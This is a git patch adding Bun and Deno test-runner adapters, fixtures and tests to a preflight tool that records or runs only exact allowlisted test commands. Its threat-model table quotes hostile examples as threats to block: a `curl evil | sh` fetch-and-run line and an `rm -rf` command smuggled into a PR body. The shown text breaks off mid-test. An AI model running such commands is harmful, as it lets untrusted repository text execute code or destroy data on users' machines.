From 73dfd263ac5aa58c934a67538b5f8b9844fa1b23 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=C4=90=C3=A1i=20Chung=20Hy?= Date: Mon, 24 Aug 2026 02:33:32 +0700 Subject: [PATCH 1/2] feat: add deno and bun test adapters --- README.md | 4 +- adapters/bun-test/README.md | 6 ++ adapters/bun-test/adapter.json | 9 ++ adapters/bun-test/hints.yml | 2 + adapters/bun-test/tests/golden.json | 6 ++ adapters/deno-test/README.md | 5 ++ adapters/deno-test/adapter.json | 6 ++ adapters/deno-test/hints.yml | 2 + adapters/deno-test/tests/golden.json | 6 ++ adapters/node-npm-test/adapter.json | 2 +- docs/ADAPTER_AUTHORING.md | 6 +- docs/THREAT_MODEL.md | 2 +- fixtures/repos/bun-lock/CONTRIBUTING.md | 3 + fixtures/repos/bun-lock/LICENSE | 1 + fixtures/repos/bun-lock/bun.lock | 1 + fixtures/repos/bun-lock/change/README.md | 1 + fixtures/repos/bun-lockb/CONTRIBUTING.md | 3 + fixtures/repos/bun-lockb/LICENSE | 1 + fixtures/repos/bun-lockb/bun.lockb | 1 + fixtures/repos/bun-lockb/change/README.md | 1 + .../CONTRIBUTING.md | 3 + .../bun-package-manager-negative/LICENSE | 1 + .../change/README.md | 1 + .../bun-package-manager-negative/package.json | 4 + .../CONTRIBUTING.md | 3 + .../repos/bun-package-manager-script/LICENSE | 1 + .../change/README.md | 1 + .../bun-package-manager-script/package.json | 7 ++ .../repos/bun-package-manager/CONTRIBUTING.md | 3 + fixtures/repos/bun-package-manager/LICENSE | 1 + .../bun-package-manager/change/README.md | 1 + .../repos/bun-package-manager/package.json | 4 + fixtures/repos/deno-jsonc/CONTRIBUTING.md | 3 + fixtures/repos/deno-jsonc/LICENSE | 1 + fixtures/repos/deno-jsonc/change/README.md | 1 + fixtures/repos/deno-jsonc/deno.jsonc | 6 ++ fixtures/repos/deno-test/CONTRIBUTING.md | 3 + fixtures/repos/deno-test/LICENSE | 1 + fixtures/repos/deno-test/change/README.md | 1 + fixtures/repos/deno-test/deno.json | 5 ++ src/adapters.ts | 47 +++++++++- src/allowlist.ts | 35 +++++++- src/compile.ts | 56 ++++++++---- test/adapters.test.ts | 88 ++++++++++++++++++- 44 files changed, 313 insertions(+), 32 deletions(-) create mode 100644 adapters/bun-test/README.md create mode 100644 adapters/bun-test/adapter.json create mode 100644 adapters/bun-test/hints.yml create mode 100644 adapters/bun-test/tests/golden.json create mode 100644 adapters/deno-test/README.md create mode 100644 adapters/deno-test/adapter.json create mode 100644 adapters/deno-test/hints.yml create mode 100644 adapters/deno-test/tests/golden.json create mode 100644 fixtures/repos/bun-lock/CONTRIBUTING.md create mode 100644 fixtures/repos/bun-lock/LICENSE create mode 100644 fixtures/repos/bun-lock/bun.lock create mode 100644 fixtures/repos/bun-lock/change/README.md create mode 100644 fixtures/repos/bun-lockb/CONTRIBUTING.md create mode 100644 fixtures/repos/bun-lockb/LICENSE create mode 100644 fixtures/repos/bun-lockb/bun.lockb create mode 100644 fixtures/repos/bun-lockb/change/README.md create mode 100644 fixtures/repos/bun-package-manager-negative/CONTRIBUTING.md create mode 100644 fixtures/repos/bun-package-manager-negative/LICENSE create mode 100644 fixtures/repos/bun-package-manager-negative/change/README.md create mode 100644 fixtures/repos/bun-package-manager-negative/package.json create mode 100644 fixtures/repos/bun-package-manager-script/CONTRIBUTING.md create mode 100644 fixtures/repos/bun-package-manager-script/LICENSE create mode 100644 fixtures/repos/bun-package-manager-script/change/README.md create mode 100644 fixtures/repos/bun-package-manager-script/package.json create mode 100644 fixtures/repos/bun-package-manager/CONTRIBUTING.md create mode 100644 fixtures/repos/bun-package-manager/LICENSE create mode 100644 fixtures/repos/bun-package-manager/change/README.md create mode 100644 fixtures/repos/bun-package-manager/package.json create mode 100644 fixtures/repos/deno-jsonc/CONTRIBUTING.md create mode 100644 fixtures/repos/deno-jsonc/LICENSE create mode 100644 fixtures/repos/deno-jsonc/change/README.md create mode 100644 fixtures/repos/deno-jsonc/deno.jsonc create mode 100644 fixtures/repos/deno-test/CONTRIBUTING.md create mode 100644 fixtures/repos/deno-test/LICENSE create mode 100644 fixtures/repos/deno-test/change/README.md create mode 100644 fixtures/repos/deno-test/deno.json diff --git a/README.md b/README.md index e983e45..5853cde 100644 --- a/README.md +++ b/README.md @@ -53,7 +53,7 @@ Claude Code plugin (local marketplace, not the Anthropic catalog): `--json` prints machine-readable contract or receipt JSON. Preflight exit codes: `blocked` → 1; `pass` and `needs-human` → 0. `--repo` must be a git clone root, not a nested folder of another repository. -`--run-tests` is opt-in. It only executes allowlisted argv (`npm test`, `npm run test`, `pnpm test`, `yarn test`, `pytest`, `python -m pytest`, `cargo test`, `go test`). No pipes, no `&&`, no `$()`. Default preflight only *records* commands already supplied; it does not run the target repository. +`--run-tests` is opt-in. It only executes exact allowlisted argv (`npm test`, `npm run test`, `pnpm test`, `yarn test`, `pytest`, `python -m pytest`, `cargo test`, `go test`, `bun test`, `deno test`). Extra arguments, pipes, `&&`, and `$()` are rejected. Default preflight only *records* commands already supplied; it does not run the target repository. `CONTRIBKIT_ALLOW=1` sets `receipt.overridden = true`. It does not rewrite tool argv. @@ -65,7 +65,7 @@ Claude Code plugin (local marketplace, not the Anthropic catalog): - Golden fixtures under `fixtures/repos/` - Claude plugin: `.claude-plugin/plugin.json`, `skills/*`, `hooks/hooks.json` (Bash|PowerShell `gh`/`glab` **and** `mcp__.*__create_pull_request`) - MCP stdio: `node dist/src/cli.js mcp` tools `compile_contract`, `preflight_diff`, `explain_receipt` -- Bundled adapters: `python-pytest`, `node-npm-test`, `go-test` (advisory `command_recorded` only unless `blockAdapters`) +- Bundled adapters: `python-pytest`, `node-npm-test`, `go-test`, `bun-test`, `deno-test` (advisory `command_recorded` only unless `blockAdapters`) - Adapter authoring guide: [docs/ADAPTER_AUTHORING.md](docs/ADAPTER_AUTHORING.md) ## What is not shipped diff --git a/adapters/bun-test/README.md b/adapters/bun-test/README.md new file mode 100644 index 0000000..74342cd --- /dev/null +++ b/adapters/bun-test/README.md @@ -0,0 +1,6 @@ +# bun-test + +Activates when the target tree has `bun.lockb`, `bun.lock`, or a `package.json` whose +`packageManager` is `bun` (including a version such as `bun@1.2.3`). Adds an advisory `bun test` +recording check. It does not execute Bun unless `--run-tests` is explicitly passed, and only the +exact `bun test` argv is allowlisted. Target-repository adapter folders are ignored. diff --git a/adapters/bun-test/adapter.json b/adapters/bun-test/adapter.json new file mode 100644 index 0000000..eb545ae --- /dev/null +++ b/adapters/bun-test/adapter.json @@ -0,0 +1,9 @@ +{ + "id": "bun-test", + "match": { + "filesAny": ["bun.lockb", "bun.lock", "package.json"], + "packageManager": "bun" + }, + "testCommand": "bun test", + "maxDiffLines": null +} diff --git a/adapters/bun-test/hints.yml b/adapters/bun-test/hints.yml new file mode 100644 index 0000000..a6d0926 --- /dev/null +++ b/adapters/bun-test/hints.yml @@ -0,0 +1,2 @@ +id: bun-test +testFamily: bun test diff --git a/adapters/bun-test/tests/golden.json b/adapters/bun-test/tests/golden.json new file mode 100644 index 0000000..5852d91 --- /dev/null +++ b/adapters/bun-test/tests/golden.json @@ -0,0 +1,6 @@ +{ + "id": "bun-test", + "expectRuleId": "adapter-bun-test", + "expectCommand": "bun test", + "expectSeverity": "advisory" +} diff --git a/adapters/deno-test/README.md b/adapters/deno-test/README.md new file mode 100644 index 0000000..e890802 --- /dev/null +++ b/adapters/deno-test/README.md @@ -0,0 +1,5 @@ +# deno-test + +Activates when the target tree has `deno.json` or `deno.jsonc`. Adds an advisory `deno test` +recording check. It does not execute Deno unless `--run-tests` is explicitly passed, and only the +exact `deno test` argv is allowlisted. Target-repository adapter folders are ignored. diff --git a/adapters/deno-test/adapter.json b/adapters/deno-test/adapter.json new file mode 100644 index 0000000..7ec20a4 --- /dev/null +++ b/adapters/deno-test/adapter.json @@ -0,0 +1,6 @@ +{ + "id": "deno-test", + "match": { "filesAny": ["deno.json", "deno.jsonc"] }, + "testCommand": "deno test", + "maxDiffLines": null +} diff --git a/adapters/deno-test/hints.yml b/adapters/deno-test/hints.yml new file mode 100644 index 0000000..13a0f9d --- /dev/null +++ b/adapters/deno-test/hints.yml @@ -0,0 +1,2 @@ +id: deno-test +testFamily: deno test diff --git a/adapters/deno-test/tests/golden.json b/adapters/deno-test/tests/golden.json new file mode 100644 index 0000000..cd7b9cc --- /dev/null +++ b/adapters/deno-test/tests/golden.json @@ -0,0 +1,6 @@ +{ + "id": "deno-test", + "expectRuleId": "adapter-deno-test", + "expectCommand": "deno test", + "expectSeverity": "advisory" +} diff --git a/adapters/node-npm-test/adapter.json b/adapters/node-npm-test/adapter.json index 05dc230..d9dbc7b 100644 --- a/adapters/node-npm-test/adapter.json +++ b/adapters/node-npm-test/adapter.json @@ -1,6 +1,6 @@ { "id": "node-npm-test", - "match": { "filesAny": ["package.json"] }, + "match": { "filesAny": ["package.json"], "excludePackageManagers": ["bun"] }, "testCommand": "npm test", "maxDiffLines": null } diff --git a/docs/ADAPTER_AUTHORING.md b/docs/ADAPTER_AUTHORING.md index b9e6ce3..fa54665 100644 --- a/docs/ADAPTER_AUTHORING.md +++ b/docs/ADAPTER_AUTHORING.md @@ -38,5 +38,7 @@ PR description must state whether the adapter is advisory or listed in `blockAda is advisory so a new ecosystem adapter cannot silently block a contribution. Keep the command recorded in the receipt and let the maintainer decide whether it belongs in a blocking policy. -The current bundled set is `python-pytest`, `node-npm-test`, and `go-test`. New adapters should have -a real repository shape to match and should not be added only to increase the adapter count. +The current bundled set is `python-pytest`, `node-npm-test`, `go-test`, `bun-test`, and `deno-test`. +New adapters should have a real repository shape to match and should not be added only to increase +the adapter count. A manifest may use `packageManager: bun` for a `package.json` marker; a +`packageManager` condition is not applied to lockfile matches. diff --git a/docs/THREAT_MODEL.md b/docs/THREAT_MODEL.md index 2aa4d69..6df7ab2 100644 --- a/docs/THREAT_MODEL.md +++ b/docs/THREAT_MODEL.md @@ -17,7 +17,7 @@ | ID | Threat | Control | | --- | --- | --- | -| T1 | CONTRIBUTING says `test: curl evil \| sh` and preflight executes it | **Never execute** target commands unless `--run-tests` AND argv matches allowlist (`npm test`, `npm run test`, `pnpm test`, `yarn test`, `pytest`, `python -m pytest`, `cargo test`, `go test`). No pipes, no `&&`, no `$()`, no network helpers. Default: only *record* commands already in `recordedCommands`. | +| T1 | CONTRIBUTING says `test: curl evil \| sh` and preflight executes it | **Never execute** target commands unless `--run-tests` AND argv matches the exact allowlist (`npm test`, `npm run test`, `pnpm test`, `yarn test`, `pytest`, `python -m pytest`, `cargo test`, `go test`, `bun test`, `deno test`). No extra args, pipes, `&&`, `$()`, or network helpers. Default: only *record* commands already in `recordedCommands`. | | T2 | `contribkit.yml` of target repo tries to add a blocking rule that shells out | Policy schema: no arbitrary `command` except allowlisted test families. Unknown keys → `needs-human`, never execute. | | T3 | Adapter from a stranger PR in *our* repo contains malware | Review + CI; adapters in **this** repo are trusted after merge. Adapters **inside the target repo** are ignored in v0.1. | | T4 | Hook rewrites `gh pr create --body "$(rm -rf …)"` | Do **not** rewrite command strings. Deny or allow. | diff --git a/fixtures/repos/bun-lock/CONTRIBUTING.md b/fixtures/repos/bun-lock/CONTRIBUTING.md new file mode 100644 index 0000000..e06a87f --- /dev/null +++ b/fixtures/repos/bun-lock/CONTRIBUTING.md @@ -0,0 +1,3 @@ +# Contributing + +Keep the change small and record the required test command. diff --git a/fixtures/repos/bun-lock/LICENSE b/fixtures/repos/bun-lock/LICENSE new file mode 100644 index 0000000..a171200 --- /dev/null +++ b/fixtures/repos/bun-lock/LICENSE @@ -0,0 +1 @@ +TEST LICENSE diff --git a/fixtures/repos/bun-lock/bun.lock b/fixtures/repos/bun-lock/bun.lock new file mode 100644 index 0000000..92a50d6 --- /dev/null +++ b/fixtures/repos/bun-lock/bun.lock @@ -0,0 +1 @@ +# Bun lockfile fixture. diff --git a/fixtures/repos/bun-lock/change/README.md b/fixtures/repos/bun-lock/change/README.md new file mode 100644 index 0000000..126b4ea --- /dev/null +++ b/fixtures/repos/bun-lock/change/README.md @@ -0,0 +1 @@ +Bun lockfile adapter fixture. diff --git a/fixtures/repos/bun-lockb/CONTRIBUTING.md b/fixtures/repos/bun-lockb/CONTRIBUTING.md new file mode 100644 index 0000000..e06a87f --- /dev/null +++ b/fixtures/repos/bun-lockb/CONTRIBUTING.md @@ -0,0 +1,3 @@ +# Contributing + +Keep the change small and record the required test command. diff --git a/fixtures/repos/bun-lockb/LICENSE b/fixtures/repos/bun-lockb/LICENSE new file mode 100644 index 0000000..a171200 --- /dev/null +++ b/fixtures/repos/bun-lockb/LICENSE @@ -0,0 +1 @@ +TEST LICENSE diff --git a/fixtures/repos/bun-lockb/bun.lockb b/fixtures/repos/bun-lockb/bun.lockb new file mode 100644 index 0000000..96de3c4 --- /dev/null +++ b/fixtures/repos/bun-lockb/bun.lockb @@ -0,0 +1 @@ +fixture lockfile placeholder diff --git a/fixtures/repos/bun-lockb/change/README.md b/fixtures/repos/bun-lockb/change/README.md new file mode 100644 index 0000000..664eb53 --- /dev/null +++ b/fixtures/repos/bun-lockb/change/README.md @@ -0,0 +1 @@ +Bun binary-lockfile path adapter fixture. diff --git a/fixtures/repos/bun-package-manager-negative/CONTRIBUTING.md b/fixtures/repos/bun-package-manager-negative/CONTRIBUTING.md new file mode 100644 index 0000000..e06a87f --- /dev/null +++ b/fixtures/repos/bun-package-manager-negative/CONTRIBUTING.md @@ -0,0 +1,3 @@ +# Contributing + +Keep the change small and record the required test command. diff --git a/fixtures/repos/bun-package-manager-negative/LICENSE b/fixtures/repos/bun-package-manager-negative/LICENSE new file mode 100644 index 0000000..a171200 --- /dev/null +++ b/fixtures/repos/bun-package-manager-negative/LICENSE @@ -0,0 +1 @@ +TEST LICENSE diff --git a/fixtures/repos/bun-package-manager-negative/change/README.md b/fixtures/repos/bun-package-manager-negative/change/README.md new file mode 100644 index 0000000..316b21e --- /dev/null +++ b/fixtures/repos/bun-package-manager-negative/change/README.md @@ -0,0 +1 @@ +Non-Bun packageManager adapter fixture. diff --git a/fixtures/repos/bun-package-manager-negative/package.json b/fixtures/repos/bun-package-manager-negative/package.json new file mode 100644 index 0000000..1e64960 --- /dev/null +++ b/fixtures/repos/bun-package-manager-negative/package.json @@ -0,0 +1,4 @@ +{ + "name": "not-a-bun-fixture", + "packageManager": "npm@10.8.2" +} diff --git a/fixtures/repos/bun-package-manager-script/CONTRIBUTING.md b/fixtures/repos/bun-package-manager-script/CONTRIBUTING.md new file mode 100644 index 0000000..9e9e2c5 --- /dev/null +++ b/fixtures/repos/bun-package-manager-script/CONTRIBUTING.md @@ -0,0 +1,3 @@ +# Contributing + +The repository test command is `bun test`. diff --git a/fixtures/repos/bun-package-manager-script/LICENSE b/fixtures/repos/bun-package-manager-script/LICENSE new file mode 100644 index 0000000..a171200 --- /dev/null +++ b/fixtures/repos/bun-package-manager-script/LICENSE @@ -0,0 +1 @@ +TEST LICENSE diff --git a/fixtures/repos/bun-package-manager-script/change/README.md b/fixtures/repos/bun-package-manager-script/change/README.md new file mode 100644 index 0000000..1670905 --- /dev/null +++ b/fixtures/repos/bun-package-manager-script/change/README.md @@ -0,0 +1 @@ +Bun compiler inference fixture. diff --git a/fixtures/repos/bun-package-manager-script/package.json b/fixtures/repos/bun-package-manager-script/package.json new file mode 100644 index 0000000..af36de6 --- /dev/null +++ b/fixtures/repos/bun-package-manager-script/package.json @@ -0,0 +1,7 @@ +{ + "name": "bun-package-manager-script-fixture", + "packageManager": "bun@1.2.3", + "scripts": { + "test": "bun test" + } +} diff --git a/fixtures/repos/bun-package-manager/CONTRIBUTING.md b/fixtures/repos/bun-package-manager/CONTRIBUTING.md new file mode 100644 index 0000000..e06a87f --- /dev/null +++ b/fixtures/repos/bun-package-manager/CONTRIBUTING.md @@ -0,0 +1,3 @@ +# Contributing + +Keep the change small and record the required test command. diff --git a/fixtures/repos/bun-package-manager/LICENSE b/fixtures/repos/bun-package-manager/LICENSE new file mode 100644 index 0000000..a171200 --- /dev/null +++ b/fixtures/repos/bun-package-manager/LICENSE @@ -0,0 +1 @@ +TEST LICENSE diff --git a/fixtures/repos/bun-package-manager/change/README.md b/fixtures/repos/bun-package-manager/change/README.md new file mode 100644 index 0000000..ae0a1bf --- /dev/null +++ b/fixtures/repos/bun-package-manager/change/README.md @@ -0,0 +1 @@ +Bun packageManager adapter fixture. diff --git a/fixtures/repos/bun-package-manager/package.json b/fixtures/repos/bun-package-manager/package.json new file mode 100644 index 0000000..c1513dc --- /dev/null +++ b/fixtures/repos/bun-package-manager/package.json @@ -0,0 +1,4 @@ +{ + "name": "bun-package-manager-fixture", + "packageManager": "bun@1.2.3" +} diff --git a/fixtures/repos/deno-jsonc/CONTRIBUTING.md b/fixtures/repos/deno-jsonc/CONTRIBUTING.md new file mode 100644 index 0000000..e06a87f --- /dev/null +++ b/fixtures/repos/deno-jsonc/CONTRIBUTING.md @@ -0,0 +1,3 @@ +# Contributing + +Keep the change small and record the required test command. diff --git a/fixtures/repos/deno-jsonc/LICENSE b/fixtures/repos/deno-jsonc/LICENSE new file mode 100644 index 0000000..a171200 --- /dev/null +++ b/fixtures/repos/deno-jsonc/LICENSE @@ -0,0 +1 @@ +TEST LICENSE diff --git a/fixtures/repos/deno-jsonc/change/README.md b/fixtures/repos/deno-jsonc/change/README.md new file mode 100644 index 0000000..288d17c --- /dev/null +++ b/fixtures/repos/deno-jsonc/change/README.md @@ -0,0 +1 @@ +Deno JSONC adapter fixture. diff --git a/fixtures/repos/deno-jsonc/deno.jsonc b/fixtures/repos/deno-jsonc/deno.jsonc new file mode 100644 index 0000000..06f0a86 --- /dev/null +++ b/fixtures/repos/deno-jsonc/deno.jsonc @@ -0,0 +1,6 @@ +{ + // JSONC is a supported Deno project marker. + "tasks": { + "test": "deno test" + } +} diff --git a/fixtures/repos/deno-test/CONTRIBUTING.md b/fixtures/repos/deno-test/CONTRIBUTING.md new file mode 100644 index 0000000..e06a87f --- /dev/null +++ b/fixtures/repos/deno-test/CONTRIBUTING.md @@ -0,0 +1,3 @@ +# Contributing + +Keep the change small and record the required test command. diff --git a/fixtures/repos/deno-test/LICENSE b/fixtures/repos/deno-test/LICENSE new file mode 100644 index 0000000..a171200 --- /dev/null +++ b/fixtures/repos/deno-test/LICENSE @@ -0,0 +1 @@ +TEST LICENSE diff --git a/fixtures/repos/deno-test/change/README.md b/fixtures/repos/deno-test/change/README.md new file mode 100644 index 0000000..f4ef065 --- /dev/null +++ b/fixtures/repos/deno-test/change/README.md @@ -0,0 +1 @@ +Deno adapter fixture. diff --git a/fixtures/repos/deno-test/deno.json b/fixtures/repos/deno-test/deno.json new file mode 100644 index 0000000..fcc6961 --- /dev/null +++ b/fixtures/repos/deno-test/deno.json @@ -0,0 +1,5 @@ +{ + "tasks": { + "test": "deno test" + } +} diff --git a/src/adapters.ts b/src/adapters.ts index 3285e45..af6f632 100644 --- a/src/adapters.ts +++ b/src/adapters.ts @@ -1,14 +1,19 @@ import { readdirSync, readFileSync } from "node:fs"; import { dirname, join } from "node:path"; import { fileURLToPath } from "node:url"; -import { allowlistedArgv, commandsEquivalent } from "./allowlist.js"; +import { + allowlistedArgv, + commandsEquivalent, + packageManagerMatches, + type PackageManager, +} from "./allowlist.js"; import { compareTextUnit } from "./canonical.js"; import { firstExisting } from "./repo.js"; import { isRecord, type ContractRule, type Severity } from "./types.js"; export interface AdapterManifest { id: string; - match: { filesAny: string[] }; + match: { filesAny: string[]; packageManager?: PackageManager; excludePackageManagers?: PackageManager[] }; testCommand: string; maxDiffLines: number | null; } @@ -37,6 +42,14 @@ function parseManifest(raw: unknown, folder: string): AdapterManifest | undefine if (!isRecord(match) || !Array.isArray(match.filesAny) || match.filesAny.length === 0) return undefined; const filesAny = match.filesAny.filter((item): item is string => typeof item === "string" && item.length > 0); if (filesAny.length === 0) return undefined; + const packageManager = match.packageManager; + if (packageManager !== undefined && packageManager !== "bun") return undefined; + const excluded = match.excludePackageManagers; + if (excluded !== undefined && !Array.isArray(excluded)) return undefined; + const excludePackageManagers = excluded?.filter( + (item): item is PackageManager => item === "npm" || item === "pnpm" || item === "yarn" || item === "bun", + ); + if (excluded !== undefined && excludePackageManagers?.length !== excluded.length) return undefined; if (typeof raw.testCommand !== "string" || raw.testCommand.trim().length === 0) return undefined; const maxDiffLines = raw.maxDiffLines === null || raw.maxDiffLines === undefined ? null @@ -44,7 +57,16 @@ function parseManifest(raw: unknown, folder: string): AdapterManifest | undefine ? raw.maxDiffLines : null; if (raw.id !== folder) return undefined; - return { id: raw.id, match: { filesAny }, testCommand: raw.testCommand.trim(), maxDiffLines }; + return { + id: raw.id, + match: { + filesAny, + ...(packageManager !== undefined ? { packageManager } : {}), + ...(excludePackageManagers !== undefined ? { excludePackageManagers } : {}), + }, + testCommand: raw.testCommand.trim(), + maxDiffLines, + }; } export function loadBundledAdapters(): AdapterManifest[] { @@ -71,6 +93,23 @@ export function loadBundledAdapters(): AdapterManifest[] { return loaded; } +async function matchingAdapterFile( + repoPath: string, + ref: string, + match: AdapterManifest["match"], +): Promise<{ path: string; text: string } | undefined> { + for (const path of match.filesAny) { + const hit = await firstExisting(repoPath, ref, [path]); + if (hit === undefined) continue; + if (path === "package.json") { + if (match.packageManager !== undefined && !packageManagerMatches(hit.text, match.packageManager)) continue; + if (match.excludePackageManagers?.some((item) => packageManagerMatches(hit.text, item))) continue; + } + return hit; + } + return undefined; +} + export async function adapterRules(options: { repoPath: string; ref: string; @@ -79,7 +118,7 @@ export async function adapterRules(options: { }): Promise { const rules: ContractRule[] = []; for (const adapter of loadBundledAdapters()) { - const hit = await firstExisting(options.repoPath, options.ref, adapter.match.filesAny); + const hit = await matchingAdapterFile(options.repoPath, options.ref, adapter.match); if (hit === undefined) continue; const argv = allowlistedArgv(adapter.testCommand); if (argv === undefined) { diff --git a/src/allowlist.ts b/src/allowlist.ts index 4e4768d..70db00b 100644 --- a/src/allowlist.ts +++ b/src/allowlist.ts @@ -13,8 +13,12 @@ export const TEST_ARGV_FAMILIES: readonly (readonly string[])[] = [ ["python", "-m", "pytest"], ["cargo", "test"], ["go", "test"], + ["bun", "test"], + ["deno", "test"], ]; +export type PackageManager = "npm" | "pnpm" | "yarn" | "bun"; + const SHELL_META = /[|;&`$<>()]/; export function hasShellMeta(command: string): boolean { @@ -54,6 +58,30 @@ export function allowlistedArgv(command: string): string[] | undefined { return argv.length === family.length ? [...argv] : undefined; } +export function packageManagerFromPackageJson(text: string): PackageManager | undefined { + try { + const parsed: unknown = JSON.parse(text); + if (typeof parsed !== "object" || parsed === null || Array.isArray(parsed)) return undefined; + const value = (parsed as Record).packageManager; + if (typeof value !== "string") return undefined; + const managers: readonly PackageManager[] = ["npm", "pnpm", "yarn", "bun"]; + for (const manager of managers) { + if (value === manager) return manager; + if (value.startsWith(`${manager}@`) && value.length > manager.length + 1) return manager; + } + return undefined; + } catch { + return undefined; + } +} + +export function packageManagerMatches( + packageJson: string, + expected: PackageManager, +): boolean { + return packageManagerFromPackageJson(packageJson) === expected; +} + export function commandsEquivalent(recorded: string, required: string): boolean { const rec = tokenizeArgv(recorded); const req = tokenizeArgv(required); @@ -68,16 +96,19 @@ export function commandsEquivalent(recorded: string, required: string): boolean export function inferTestCommand(hints: { policyCommand?: string; - packageManager?: "npm" | "pnpm" | "yarn"; + packageManager?: PackageManager; hasNpmTestScript?: boolean; mentionsPytest?: boolean; mentionsCargo?: boolean; mentionsGo?: boolean; + mentionsBun?: boolean; + mentionsDeno?: boolean; }): string | undefined { if (hints.policyCommand !== undefined) { return allowlistedArgv(hints.policyCommand) ? hints.policyCommand.trim() : undefined; } if (hints.hasNpmTestScript) { + if (hints.packageManager === "bun") return "bun test"; if (hints.packageManager === "pnpm") return "pnpm test"; if (hints.packageManager === "yarn") return "yarn test"; return "npm test"; @@ -85,5 +116,7 @@ export function inferTestCommand(hints: { if (hints.mentionsPytest) return "pytest"; if (hints.mentionsCargo) return "cargo test"; if (hints.mentionsGo) return "go test"; + if (hints.mentionsBun) return "bun test"; + if (hints.mentionsDeno) return "deno test"; return undefined; } diff --git a/src/compile.ts b/src/compile.ts index 943da83..c57ae2d 100644 --- a/src/compile.ts +++ b/src/compile.ts @@ -1,6 +1,11 @@ import { resolve } from "node:path"; import { compareTextUnit, digestText } from "./canonical.js"; -import { allowlistedArgv, inferTestCommand } from "./allowlist.js"; +import { + allowlistedArgv, + inferTestCommand, + packageManagerFromPackageJson, + type PackageManager, +} from "./allowlist.js"; import { parseCodeowners } from "./codeowners.js"; import { parsePolicyYaml } from "./policy.js"; import { @@ -25,7 +30,7 @@ const SIZE_FILES = /\b(?:under|at most|max(?:imum)?|no more than)\s+(\d+)\s+file const SIZE_LINES = /\b(?:under|at most|max(?:imum)?|no more than)\s+(\d+)\s+(?:diff\s+)?lines?\b/i; const TEST_COMMAND_LINE = /(?:^|\n)\s*test(?:s)?\s*[:=]\s*(.+)/i; const ALLOWED_TEST_MENTION = - /\b(npm test|npm run test|pnpm test|yarn test|pytest|python -m pytest|cargo test|go test)\b/i; + /\b(npm test|npm run test|pnpm test|yarn test|pytest|python -m pytest|cargo test|go test|bun test|deno test)\b/i; const AI_REQUIRE = /(?:\b(ai|llm|claude|codex)\b.{0,80}\b(disclos|must mention|required|declare)\b|\b(disclos|must mention|declare).{0,80}\b(ai|llm|claude|codex)\b)/i; const DCO_REQUIRE = /(?:require[sd]?|must).{0,40}signed-off-by|signed-off-by.{0,40}(?:required|must)/i; @@ -53,7 +58,11 @@ function addSource(sources: ContractSource[], path: string, text: string): void sources.push({ path, digest: digestText(text) }); } -function parsePackageScripts(text: string): { hasTest: boolean; mentionsPytest: boolean } { +function parsePackageScripts(text: string): { + hasTest: boolean; + mentionsPytest: boolean; + packageManager?: PackageManager; +} { try { const parsed: unknown = JSON.parse(text); if (!isRecord(parsed)) return { hasTest: false, mentionsPytest: false }; @@ -69,7 +78,12 @@ function parsePackageScripts(text: string): { hasTest: boolean; mentionsPytest: } if (/\bpytest\b/i.test(value) || /\bpytest\b/i.test(name)) mentionsPytest = true; } - return { hasTest, mentionsPytest }; + const packageManager = packageManagerFromPackageJson(text); + return { + hasTest, + mentionsPytest, + ...(packageManager !== undefined ? { packageManager } : {}), + }; } catch { return { hasTest: false, mentionsPytest: false }; } @@ -326,20 +340,28 @@ export async function compile(options: CompileOptions): Promise { - it("loads python-pytest, node-npm-test, and go-test sorted by id", () => { + it("loads bundled adapters sorted by id", () => { const adapters = loadBundledAdapters(); - expect(adapters.map((item) => item.id)).toEqual(["go-test", "node-npm-test", "python-pytest"]); + expect(adapters.map((item) => item.id)).toEqual([ + "bun-test", + "deno-test", + "go-test", + "node-npm-test", + "python-pytest", + ]); }); it("matches golden.json command families", () => { - for (const id of ["go-test", "node-npm-test", "python-pytest"]) { + for (const id of ["bun-test", "deno-test", "go-test", "node-npm-test", "python-pytest"]) { const golden = JSON.parse( readFileSync(join(repoRoot, "adapters", id, "tests", "golden.json"), "utf8"), ) as { expectRuleId: string; expectCommand: string; expectSeverity: string }; const adapter = loadBundledAdapters().find((item) => item.id === id); + expect(adapter?.id).toBe(golden.expectRuleId.slice("adapter-".length)); expect(adapter?.testCommand).toBe(golden.expectCommand); } }); @@ -31,4 +40,75 @@ describe("bundled adapters", () => { expect(rule?.severity).toBe("advisory"); expect(allRules(contract).some((item) => item.id === "adapter-node-npm-test")).toBe(false); }); + + it("deno-test matches both Deno project marker forms", async () => { + for (const [fixture, origin] of [["deno-test", "deno.json"], ["deno-jsonc", "deno.jsonc"]] as const) { + const repo = await stageFixture(fixture); + const contract = await compile({ repoPath: repo }); + const rule = allRules(contract).find((item) => item.id === "adapter-deno-test"); + expect(rule?.origin).toBe(origin); + expect(rule?.check).toBe("command_recorded"); + expect(rule?.command).toBe("deno test"); + expect(rule?.severity).toBe("advisory"); + } + }); + + it("bun-test matches lockfiles and Bun packageManager without matching npm", async () => { + for (const [fixture, origin] of [["bun-lock", "bun.lock"], ["bun-lockb", "bun.lockb"], ["bun-package-manager", "package.json"]] as const) { + const repo = await stageFixture(fixture); + const contract = await compile({ repoPath: repo }); + const rule = allRules(contract).find((item) => item.id === "adapter-bun-test"); + expect(rule?.origin).toBe(origin); + expect(rule?.command).toBe("bun test"); + expect(rule?.severity).toBe("advisory"); + expect(allRules(contract).some((item) => item.id === "adapter-node-npm-test")).toBe(false); + } + + const nonBun = await stageFixture("bun-package-manager-negative"); + const nonBunContract = await compile({ repoPath: nonBun }); + expect(allRules(nonBunContract).some((item) => item.id === "adapter-bun-test")).toBe(false); + }); + + it("infers bun test from a Bun packageManager test script", async () => { + const repo = await stageFixture("bun-package-manager-script"); + const contract = await compile({ repoPath: repo }); + const rule = allRules(contract).find((item) => item.id === "test-command"); + expect(rule?.command).toBe("bun test"); + expect(allRules(contract).some((item) => item.id === "adapter-bun-test")).toBe(false); + expect(allRules(contract).some((item) => item.id === "adapter-node-npm-test")).toBe(false); + }); + + it("runs Deno and Bun only after opt-in and with exact argv", async () => { + const executeCommand = vi.fn(async () => ({ exitCode: 0, stdout: "passed", stderr: "" })); + const denoRepo = await stageFixture("deno-test"); + const denoWithoutOptIn = await preflight({ repoPath: denoRepo, baseRef: "HEAD", executeCommand }); + expect(denoWithoutOptIn.snapshot.recordedCommands).toEqual([]); + expect(executeCommand).not.toHaveBeenCalled(); + const denoWithOptIn = await preflight({ + repoPath: denoRepo, + baseRef: "HEAD", + runTests: true, + executeCommand, + }); + expect(executeCommand).toHaveBeenLastCalledWith(["deno", "test"], denoRepo); + expect(denoWithOptIn.snapshot.recordedCommands[0]).toMatchObject({ + command: "deno test", + exitCode: 0, + source: "executed", + 